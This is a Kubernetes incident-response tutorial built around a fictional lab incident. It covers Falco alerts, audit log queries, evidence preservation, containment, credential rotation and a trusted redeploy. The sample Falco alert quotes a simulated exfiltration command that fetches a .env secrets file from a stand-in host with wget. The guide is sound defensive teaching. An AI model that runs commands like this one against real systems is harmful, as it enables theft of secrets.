Kubernetes Incident Response and Forensics

Investigate a Kubernetes incident with Falco and audit logs, preserve evidence, contain workloads and nodes, rotate credentials, and redeploy safely.

Published

Updated

Read time 16 min read

Reviewed byDeepak Prasad

Kubernetes incident response workflow from Falco runtime alert through audit log correlation, evidence export, workload and node containment, credential rotation, and trusted redeployment
Tested on Rocky Linux 10.2 (Red Quartz) workstation
Package kubectl 1.36.3
jq 1.7.1
crictl 1.36.0
Falco 0.44.1
Applies to Ubuntu, Debian, Kali Linux, Linux Mint, Pop!_OS, Raspberry Pi OS, elementary OS, Zorin OS, Parrot OS, MX Linux, RHEL, Rocky Linux, AlmaLinux, Oracle Linux, CentOS Stream, Fedora
Kubernetes cluster
Cert prep CKS
Lab environment Multi-node kubeadm cluster with containerd, audit logging, and Falco on worker nodes — install Kubernetes with kubeadm
Privilege kubectl with cluster-admin or incident-response RBAC; root SSH on nodes for crictl and journal collection
Scope IR roles, alert preservation, scope analysis, Kubernetes and runtime evidence collection, timeline reconstruction, identity review, workload and node containment, credential rotation, eradication, trusted redeployment, recovery validation, and lessons learned. Does not cover Falco or audit-policy installation, malware reverse engineering, legal reporting, provider-specific IR programs, or destructive forensic imaging.
Related guides Kubernetes RBAC

This walkthrough follows one fictional incident on a kubeadm lab running Kubernetes 1.36.3. A Falco Terminal shell in container alert on payments-api in namespace ir-lab leads to audit evidence of Secret access, workload containment, node cordon, credential rotation, and a hardened redeploy from a pinned image digest.

IMPORTANT
This guide teaches an incident-response workflow using controlled lab actions. It does not repeat Falco deployment or audit-policy setup. Enable those signals before an incident so you have runtime and API evidence to preserve.

Define roles before an incident

Assign roles and out-of-band contact paths before you need them. During an active incident, chat in the compromised cluster or application is not trustworthy.

Role Responsibility
Incident commander Owns severity, priorities, and go or no-go on destructive actions
Kubernetes administrator Runs kubectl, RBAC review, workload containment
Security analyst Correlates Falco, audit, and cloud signals; builds timeline
Node or cloud administrator Cordons nodes, collects host evidence, replaces hardware or VMs
Application owner Confirms expected behavior, approves redeploy windows
Communications owner Coordinates status updates to stakeholders
Evidence custodian Stores exported artifacts, checksums, and chain-of-custody notes

Keep an offline runbook with escalation phone numbers, break-glass kubectl credentials, and jump-host SSH paths that do not depend on the cluster under investigation.


Preserve the initial alert

At 14:04 UTC the on-call engineer receives a Falco Notice from worker01:

output
rule: Terminal shell in container
priority: Notice
namespace: ir-lab
pod: payments-api-599fbc644c-gr65k
container: api
process: sh
user: curl_user
command: sh -c wget -qO- https://example.com/.env ... || echo simulated-exfil
image: quay.io/curl/curl:8.5.0
node: worker01

Verify that Falco's k8s_api_server macro matches the API server service IP and port used by this cluster. The Contact K8S API Server From Container rule relies on that macro and its allow-list exceptions.

Record the alert before you change the cluster:

Field Value to capture
Original alert text Full JSON or SIEM link
Timestamp Source system time in UTC
Source system Falco, EDR, cloud alert name
Pod and namespace payments-api-599fbc644c-gr65k / ir-lab
Node worker01
Identity Container user and ServiceAccount
Process and command sh, full proc.cmdline
Image digest status.containerStatuses[].imageID
Rule name Terminal shell in container
Raw event Unmodified Falco JSON

Do not delete the Pod because the alert looks small. A shell in a payments namespace may be break-glass admin work or active compromise — scope first, then contain.


Determine scope

Answer these questions before containment changes blast radius.

List the Pod UID, node, ServiceAccount, and running image digest:

bash
kubectl get pod -n ir-lab payments-api-599fbc644c-gr65k -o jsonpath='{.metadata.uid}{"\n"}{.spec.nodeName}{"\n"}{.spec.serviceAccountName}{"\n"}{.status.containerStatuses[0].imageID}{"\n"}'
output
cae46359-7f33-4e60-93ab-6f2c6961a837
worker01
payments-api
quay.io/curl/curl@sha256:de0d32e6d653e209581a85df0ff974a7a986e27057082361db31382807920d86

The Pod UID ties API audit events to this exact object even if the Pod name is reused later. The image digest shows which bytes actually ran.

Identify the owning controller:

bash
kubectl get pod -n ir-lab payments-api-599fbc644c-gr65k -o jsonpath='{.metadata.ownerReferences[0].kind}{"/"}{.metadata.ownerReferences[0].name}{"\n"}'
output
ReplicaSet/payments-api-599fbc644c

Check whether the ServiceAccount can read sensitive API objects:

bash
kubectl auth can-i get secrets/payments-api-token --as=system:serviceaccount:ir-lab:payments-api -n ir-lab
output
yes

Expand scope with these follow-up questions:

  • Which Secrets and volumes are mounted into the Pod?
  • Did the workload reach the Kubernetes API or external IPs?
  • Are there other Pods with the same image digest or labels?
  • Did any human identity run kubectl exec into this Pod?
  • Is the node shared with production workloads?

Seconds after the shell alert, Falco reports Contact K8S API Server From Container on the same Pod — a runtime signal that the container reached the in-cluster API. Audit logs recorded the ServiceAccount Secret read about 14 minutes later at 14:18:29Z. Correlate both streams when you build the timeline.


Preserve Kubernetes evidence

Export API objects and events to a trusted directory outside the cluster. This lab writes to /var/tmp/ir-20260728-001 on the control-plane jump host.

bash
INCIDENT_ID="ir-20260728-001"
EVIDENCE_DIR="/var/tmp/${INCIDENT_ID}"

install -d -m 700 "$EVIDENCE_DIR"
umask 077

date -u +'%Y-%m-%dT%H:%M:%SZ' \
  > "$EVIDENCE_DIR/collection-start.txt"

NS="ir-lab"
POD="payments-api-599fbc644c-gr65k"

POD_UID=$(
  kubectl get pod -n "$NS" "$POD" \
    -o jsonpath='{.metadata.uid}'
)

Capture the live Pod manifest and status:

bash
kubectl get pod -n "$NS" "$POD" -o yaml \
  > "$EVIDENCE_DIR/pod.yaml"

Collect namespace events tied to this Pod instance:

bash
kubectl get events -n "$NS" \
  --field-selector "involvedObject.uid=${POD_UID}" \
  -o yaml > "$EVIDENCE_DIR/events.yaml"

Export ServiceAccount, Role, RoleBinding, and Secret metadata:

bash
kubectl get sa payments-api -n "$NS" -o yaml \
  > "$EVIDENCE_DIR/sa.yaml"
bash
kubectl get role,rolebinding -n "$NS" -o yaml \
  > "$EVIDENCE_DIR/rbac.yaml"
bash
kubectl get secret payments-api-token \
  -n "$NS" \
  -o json |
  jq 'del(
    .data,
    .stringData,
    .metadata.managedFields
  )' > "$EVIDENCE_DIR/secret-metadata.json"

Base64 encoding does not make Secret values non-sensitive. Kubernetes deliberately hides Secret contents from normal get and describe output to reduce accidental disclosure. If the Secret payload itself is required as evidence, export it as a separately classified sensitive artifact into encrypted storage. Do not include it in the ordinary evidence bundle or incident ticket.

Also preserve owner resources, NetworkPolicy objects, admission webhook configuration, and node conditions:

bash
kubectl get deployment,rs,svc,networkpolicy -n "$NS" -o yaml \
  > "$EVIDENCE_DIR/workload-graph.yaml"
bash
kubectl describe node worker01 \
  > "$EVIDENCE_DIR/node-worker01.txt"

If the Pod is still running, capture current and previous container logs from the API before you scale down:

bash
kubectl logs -n "$NS" "$POD" --all-containers \
  > "$EVIDENCE_DIR/container-logs.txt"
bash
kubectl logs -n "$NS" "$POD" --previous --all-containers \
  > "$EVIDENCE_DIR/container-logs-previous.txt" 2>/dev/null || true

Preserve audit and runtime evidence

API audit logs and node runtime tools fill gaps that kubectl alone cannot.

Filter audit.log for Secret access in ir-lab:

bash
jq -c '
  select(
    .objectRef.namespace == "ir-lab" and
    .objectRef.resource == "secrets"
  )
  | {
      time: .requestReceivedTimestamp,
      user: .user.username,
      verb: .verb,
      name: .objectRef.name,
      code: .responseStatus.code
    }
' /var/log/kubernetes/audit/audit.log | tail -5
output
{"time":"2026-07-28T14:18:29.294858Z","user":"system:serviceaccount:ir-lab:payments-api","verb":"get","name":"payments-api-token","code":200}

Filter exec activity separately:

bash
jq -c '
  select(
    .objectRef.namespace == "ir-lab" and
    .objectRef.resource == "pods" and
    .objectRef.subresource == "exec"
  )
  | {
      time: .requestReceivedTimestamp,
      user: .user.username,
      verb: .verb,
      pod: .objectRef.name,
      code: .responseStatus.code
    }
' /var/log/kubernetes/audit/audit.log | tail -5
output
{"time":"2026-07-28T14:18:29.063317Z","user":"kubernetes-admin","verb":"get","pod":"payments-api-599fbc644c-gr65k","code":101}
{"time":"2026-07-28T14:18:29.063317Z","user":"kubernetes-admin","verb":"get","pod":"payments-api-599fbc644c-gr65k","code":101}

The ServiceAccount read of payments-api-token at 14:18:29Z confirms credential access about 14 minutes after the 14:04 Falco shell alert. The kubernetes-admin exec record shows who attached the shell used in testing — in production, attribute every exec to a human or automation identity.

On the node where the Pod ran, resolve the container from the investigated Pod and collect runtime evidence before the container disappears:

bash
NODE=$(
  kubectl get pod -n "$NS" "$POD" \
    -o jsonpath='{.spec.nodeName}'
)

NODE_IP=$(
  kubectl get node "$NODE" \
    -o jsonpath='{.status.addresses[?(@.type=="InternalIP")].address}'
)

POD_SANDBOX_ID=$(
  ssh "root@${NODE_IP}" \
    "crictl pods --name '${POD}' -q | head -1"
)

CID=$(
  ssh "root@${NODE_IP}" \
    "crictl ps -a --pod '${POD_SANDBOX_ID}' --name api -q | head -1"
)

test -n "$CID" || {
  echo "Container ID not found" >&2
  exit 1
}

Preserve complete output instead of a grep excerpt:

bash
ssh "root@${NODE_IP}" \
  "crictl inspect '${CID}'" \
  > "$EVIDENCE_DIR/crictl-inspect-api.json"

ssh "root@${NODE_IP}" \
  "crictl logs '${CID}'" \
  > "$EVIDENCE_DIR/crictl-logs-api.txt" 2>&1

ssh "root@${NODE_IP}" \
  "journalctl --since '2026-07-28 13:55:00 UTC' \
              --until '2026-07-28 14:30:00 UTC' \
              -u containerd -u kubelet --utc" \
  > "$EVIDENCE_DIR/node-runtime-journal.txt"

crictl is intended for inspecting CRI runtimes and supports filtering runtime objects before inspection.

Before you hash the evidence directory, export the audit window and Falco journal from the affected node:

bash
jq -c '
  select(
    .requestReceivedTimestamp >= "2026-07-28T13:55:00Z" and
    .requestReceivedTimestamp <= "2026-07-28T14:30:00Z" and
    (
      .objectRef.namespace == "ir-lab" or
      .user.username == "system:serviceaccount:ir-lab:payments-api"
    )
  )
' /var/log/kubernetes/audit/audit.log \
  > "$EVIDENCE_DIR/audit-ir-lab.jsonl"
bash
ssh "root@${NODE_IP}" \
  "journalctl -u falco \
     --since '2026-07-28 13:55:00 UTC' \
     --until '2026-07-28 14:30:00 UTC' \
     --utc --no-pager" \
  > "$EVIDENCE_DIR/falco-worker01.log"

When Falco writes JSON to a dedicated file or SIEM, export that original JSON instead of relying only on formatted journal text. Kubernetes recommends protecting and archiving audit records because they are used for analysis after a compromise.

Checksum exported files and record hashes in the incident ticket:

bash
find "$EVIDENCE_DIR" \
  -maxdepth 1 \
  -type f \
  ! -name SHA256SUMS \
  -print0 |
  sort -z |
  xargs -0 sha256sum \
  > "$EVIDENCE_DIR/SHA256SUMS"

chmod -R a-w "$EVIDENCE_DIR"
output
a2def64ddc67bca7c569e196455692cec46c00dfe9044da1ddd546d5655d3621  /var/tmp/ir-20260728-001/audit-ir-lab.jsonl
fd0bd4bf88f72a45e0f01acd1fb7ce9c259dcb67412d48c0afa8b8a7bcce60b2  /var/tmp/ir-20260728-001/collection-start.txt
19c4e28b2f54ea8f217db4e622b0a5c758efa7b77ce2dc0394b6d159568c0b2e  /var/tmp/ir-20260728-001/falco-worker01.log
5042b45866b02e72e17cc934dd55b43e73859c675ecb448b25605b046e07e709  /var/tmp/ir-20260728-001/crictl-inspect-api.json

Work from copies after hashing. Keep the original export read-only.


Minimize evidence modification

Prefer API and host-side inspection over repeated exec into the suspected container. Each kubectl exec starts new processes, changes timestamps, and may overwrite temp files inside the container filesystem.

Prefer Avoid when possible
kubectl get -o yaml, audit logs, Falco events Multiple exploratory exec sessions
crictl inspect and crictl logs on the node Installing investigation tools inside the container
NetworkPolicy deny rules Deleting the Pod before export completes
Forensic copy of node disk or volume snapshot Rebooting the node before collection

When exec is unavoidable, record the exact command, time, and operator in the incident log.


Reconstruct the timeline

Normalize all sources to UTC and note clock skew between nodes, workstations, and SIEM ingestion delays.

text
14:04:39Z  Falco: Terminal shell in container (payments-api, worker01)
14:04:41Z  Falco: Contact K8S API Server From Container
14:18:29Z  Audit: system:serviceaccount:ir-lab:payments-api GET secret/payments-api-token → 200
14:18:29Z  Audit: kubernetes-admin pods/exec → 101 (websocket)
14:19:00Z  IR: evidence exported to /var/tmp/ir-20260728-001, checksum recorded
14:19:10Z  IR: NetworkPolicy deny-all applied; Deployment scaled to zero
14:19:20Z  IR: worker01 cordoned; Secret rotated
14:19:25Z  IR: payments-api-reader-binding removed; auth can-i returns no
14:21:00Z  Recovery: smoke-test Deployment redeployed from new agnhost digest

Map stages to the attack lifecycle:

text
Initial access → workload execution → credential access → API movement → detection → containment → eradication → recovery

Gaps in the timeline become follow-up tasks. If you cannot explain how the shell started, inspect CI deploy logs, image history, and recent RBAC changes.


Identify compromised identities

Review every identity that could have been used during the incident window.

Identity type What to review
Human user kubernetes-admin, SSO user, break-glass account in audit user.username
ServiceAccount system:serviceaccount:ir-lab:payments-api Secret read
Token or certificate Mounted SA token, client cert in ~/.kube/config, expired creds still in CI
Registry credential imagePullSecrets, cloud registry IAM
CI pipeline Deploy tokens that can push manifests or Secrets
Cloud identity Node instance profile, metadata access from privileged Pods
Node credential kubelet client cert, /etc/kubernetes on the node
Impersonation impersonatedUser fields in audit logs

In this lab, the ServiceAccount had a narrow Role to read one Secret — still enough for credential theft if the token escapes the Pod. Rotate it even if you only suspect exposure.


Contain the workload

Choose the least destructive control that stops active risk.

Block network traffic

A default-deny NetworkPolicy stops new connections while you preserve the Pod for export:

yaml
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: ir-contain-payments-api
  namespace: ir-lab
spec:
  podSelector:
    matchLabels:
      app: payments-api
  policyTypes:
  - Ingress
  - Egress
  ingress: []
  egress: []

Confirm the suspicious Pod matches the selector before you apply the policy:

bash
kubectl get pod -n "$NS" "$POD" --show-labels
bash
kubectl get pods -n "$NS" \
  -l app=payments-api \
  -o custom-columns='NAME:.metadata.name,UID:.metadata.uid,NODE:.spec.nodeName'
output
NAME                            UID                                    NODE
payments-api-599fbc644c-gr65k   cae46359-7f33-4e60-93ab-6f2c6961a837   worker01
bash
kubectl apply -f ir-contain-payments-api.yaml
output
networkpolicy.networking.k8s.io/ir-contain-payments-api created
bash
kubectl get networkpolicy \
  -n "$NS" \
  ir-contain-payments-api \
  -o yaml

NetworkPolicy containment works only when the cluster CNI enforces NetworkPolicy. Whether a newly applied deny policy terminates already-established connections is implementation-defined. During active exfiltration, also block traffic using a CNI-specific endpoint control, node firewall, cloud security group, or upstream network device. Kubernetes requires a supporting network plugin, and the effect on existing connections is explicitly implementation-defined.

Stop new execution

Scale the Deployment to zero after evidence export:

bash
kubectl scale deployment payments-api -n ir-lab --replicas=0
output
deployment.apps/payments-api scaled

Other containment options include suspending a CronJob, removing Service exposure, revoking RBAC, disabling the cloud account, or blocking the image digest at admission time. Preserve a forensic copy of the Pod YAML and node disk snapshot before you delete objects if your policy requires it.


Contain the node

When host compromise is possible — rootkit indicators, unexpected kubelet flags, or kernel module loads — treat the node as untrusted.

Mark the node unschedulable:

bash
kubectl cordon worker01
output
node/worker01 cordoned
bash
kubectl get node worker01
output
NAME       STATUS                     ROLES    AGE   VERSION
worker01   Ready,SchedulingDisabled   <none>   21h   v1.36.3

Decide carefully before you drain a suspect node. Draining moves Pods elsewhere; if the node is hostile, rescheduling workloads can spread access. In this lab the cordon prevented new Pods from landing on worker01 while the team collected crictl data.

On confirmed host compromise:

  1. Restrict node network access at the firewall or cloud security group.
  2. Block new credentials from being issued to the instance.
  3. Preserve disk and memory evidence per your forensic standard.
  4. Replace the node rather than “cleaning” it in place when trust cannot be restored.

Rotate exposed credentials

Rotate credentials that the suspect Pod or identity could reach, even before you prove exfiltration.

Replace the application Secret with a cryptographically random value:

bash
TOKEN_FILE=$(mktemp)
chmod 600 "$TOKEN_FILE"

openssl rand -hex 32 > "$TOKEN_FILE"

kubectl create secret generic payments-api-token \
  -n "$NS" \
  --from-file=token="$TOKEN_FILE" \
  --dry-run=client \
  -o yaml |
  kubectl apply -f -

shred -u "$TOKEN_FILE"
output
secret/payments-api-token configured

Kubernetes supports creating Secrets from local files; this avoids placing the credential directly in the documented command line.

Modern projected ServiceAccount tokens are short-lived and bound to the Pod. Scaling the compromised Deployment to zero deletes the Pod and invalidates its bound token. Kubernetes cannot revoke one arbitrary TokenRequest token centrally. To invalidate all tokens issued for the ServiceAccount before expiry, delete and recreate the ServiceAccount, which changes its UID. Delete the corresponding Secret only for legacy long-lived Secret-based tokens.

Also plan rotation for:

  • ServiceAccount token Secrets only for legacy long-lived tokens
  • Client certificates in ~/.kube/config and CI systems
  • Registry pull credentials and cloud database passwords
  • API tokens stored in external secret managers
  • Encryption keys if the workload could read KMS or sealed-secrets material

Update downstream consumers with the new Secret version before you declare recovery complete.


Eradicate root cause

Match eradication to what the evidence shows. In this fictional incident, likely root causes include excessive RBAC, missing NetworkPolicy, a mutable image tag, unaudited kubectl exec, and missing admission controls.

After you preserve RBAC objects in $EVIDENCE_DIR, remove the grant that let the ServiceAccount read the Secret:

bash
kubectl get rolebinding -n "$NS" -o json |
  jq -r '
    .items[]
    | select(
        any(
          .subjects[]?;
          .kind == "ServiceAccount" and
          .name == "payments-api" and
          .namespace == "ir-lab"
        )
      )
    | [.metadata.name, .roleRef.kind, .roleRef.name]
    | @tsv
  '
output
payments-api-reader-binding	Role	payments-api-reader
bash
kubectl delete rolebinding payments-api-reader-binding -n "$NS"

Verify that the permission is gone:

bash
kubectl auth can-i get secrets/payments-api-token \
  --as=system:serviceaccount:ir-lab:payments-api \
  -n "$NS"
output
no

kubectl auth can-i is the supported way to verify an impersonated ServiceAccount's effective authorization. Kubernetes also recommends granting ServiceAccounts only the minimum permissions they require. For an application that genuinely needs this Secret, replace the removed grant with a narrower delivery mechanism or a carefully reviewed least-privilege Role rather than leaving the permission unexplained.

Remediation tasks might include tightening RBAC, requiring immutable digest deploys, enabling Pod Security Standards, scanning images in CI, and adding exec approval workflows.


Redeploy from trusted sources

Rebuild and redeploy only from known-good artifacts:

  • Trusted Git commit reviewed and merged
  • Fresh CI build with vulnerability scan and SBOM
  • New image digest recorded
  • Cosign signature verified where used
  • Manifest reviewed and admitted by policy
  • New Secret versions mounted
  • Clean node or replaced node pool

Apply a hardened recovery smoke test with a new digest-pinned public image — not the digest collected from the suspected workload. This lab uses registry.k8s.io/e2e-test-images/agnhost, which supports sleep as a diagnostic command and validates recovery controls; it is not the payments application:

yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: payments-api
  namespace: ir-lab
spec:
  replicas: 1
  selector:
    matchLabels:
      app: payments-api
  template:
    metadata:
      labels:
        app: payments-api
    spec:
      automountServiceAccountToken: false
      securityContext:
        runAsNonRoot: true
        runAsUser: 1000
        runAsGroup: 1000
        seccompProfile:
          type: RuntimeDefault
      containers:
      - name: api
        image: registry.k8s.io/e2e-test-images/agnhost@sha256:2c5b5b056076334e4cf431d964d102e44cbca8f1e6b16ac1e477a0ffbe6caac4
        command: ["sleep", "3600"]
        securityContext:
          allowPrivilegeEscalation: false
          readOnlyRootFilesystem: true
          capabilities:
            drop: ["ALL"]

Pinning makes bytes immutable; it does not prove those bytes are trusted. Digests identify exact image content, while new application code requires building and deploying a new image from your registry. In production, replace the agnhost image with <trusted-registry>/payments-api@sha256:<new-reviewed-build-digest>, its real command, and a readiness probe before you claim application recovery.

automountServiceAccountToken: false is appropriate for this smoke-test Pod because it only runs sleep 3600 and does not need Kubernetes API access. For an actual application that requires API access, retain a dedicated ServiceAccount only after reducing and verifying its RBAC permissions.

bash
kubectl apply -f payments-api-recovery.yaml
output
deployment.apps/payments-api created

Remove temporary containment policies that block legitimate traffic after you validate the new Pod.

Uncordon the node only when you trust it again:

bash
kubectl uncordon worker01

Validate recovery

Confirm the cluster is healthy and the incident behavior stopped.

bash
kubectl wait --for=condition=available deployment/payments-api -n ir-lab --timeout=120s
output
deployment.apps/payments-api condition met

Verify the running image digest matches the approved build:

bash
kubectl get pod -n ir-lab -l app=payments-api -o jsonpath='{.items[0].status.containerStatuses[0].imageID}{"\n"}{.items[0].status.phase}{"\n"}'
output
registry.k8s.io/e2e-test-images/agnhost@sha256:2c5b5b056076334e4cf431d964d102e44cbca8f1e6b16ac1e477a0ffbe6caac4
Running

The running digest differs from the compromised quay.io/curl/curl@sha256:de0d32… image collected during scope analysis.

Checklist before you close the incident:

  • No new Falco alerts on the recovered workload during the observation window
  • Audit logging still writes to the protected path
  • Rotated Secrets in use; old tokens revoked
  • Approved digest running; mutable tag not referenced in manifests
  • NetworkPolicies match the intended posture
  • No unexpected CronJob, RoleBinding, or persistence objects in ir-lab
  • Nodes Ready; cordon removed only on trusted hosts
  • Application owner signs off on functional tests

Lessons learned

Record these items within five business days while memory is fresh:

Topic Question to answer
Root cause What control failed first?
Blast radius Which namespaces, nodes, and identities were affected?
Detection gap Why did prevention not stop it; how fast was it detected?
Evidence quality Did we have Falco, audit, and node data; what was missing?
Containment Did cordon, NetworkPolicy, and scale-down work as expected?
Recovery How long to trusted redeploy; what slowed us down?
Control improvements RBAC, admission, immutability, exec policy
Owners and deadlines Named engineers and dates for each fix
Runbook updates New commands, contacts, or checksum steps to add

Store the retrospective where the platform team can find it during the next incident.


Troubleshooting

Symptom Likely cause Fix
crictl inspect not found Container ID rotated after Pod deletion Export kubectl get pod -o yaml and logs before scale-down
Pod Pending after cordon Only cordoned nodes match nodeSelector Uncordon a trusted node or temporarily adjust scheduling constraints
Secret rotation broke app Consumers still mount old Secret version Rolling restart Deployments after Secret update
Timeline hours skewed Node or workstation clock drift Sync NTP; convert all events to UTC

References


Summary

You walked through a defensible Kubernetes incident sequence: preserve the initial Falco alert, determine scope with Pod UID, ServiceAccount, image digest, and RBAC, export Kubernetes and runtime evidence with checksums, and build a UTC timeline that correlates syscall alerts with audit records of Secret access.

Containment combined a deny-all NetworkPolicy, scaling the Deployment to zero, and cordoning the suspect node without automatically rescheduling untrusted workloads onto healthy hardware. Credential rotation, RBAC binding removal, and eradication addressed the exposed Secret and excessive ServiceAccount permissions, then recovery redeployed a digest-pinned diagnostic smoke test — not the compromised image digest.

Falco tells you what happened inside the node; audit logs tell you who called the API. Neither replaces the other, and neither blocks attacks without paired preventive controls. Run this workflow in a lab, adapt it to your org’s roles and tooling, and keep detection enabled before you need it.

Deepak Prasad

R&D Engineer

Founder of GoLinuxCloud with more than 15 years of expertise in Linux, Python, Go, Laravel, DevOps, Kubernetes, Git, Shell scripting, OpenShift, AWS, Networking, and Security. With extensive experience, he excels across development, DevOps, networking, and security, delivering robust and efficient solutions for diverse projects.

  • Go (programming language)
  • Python (programming language)
  • DevOps
  • Computer Security
  • Cloud Computing
  • Kubernetes
  • Linux
  • Ansible (software)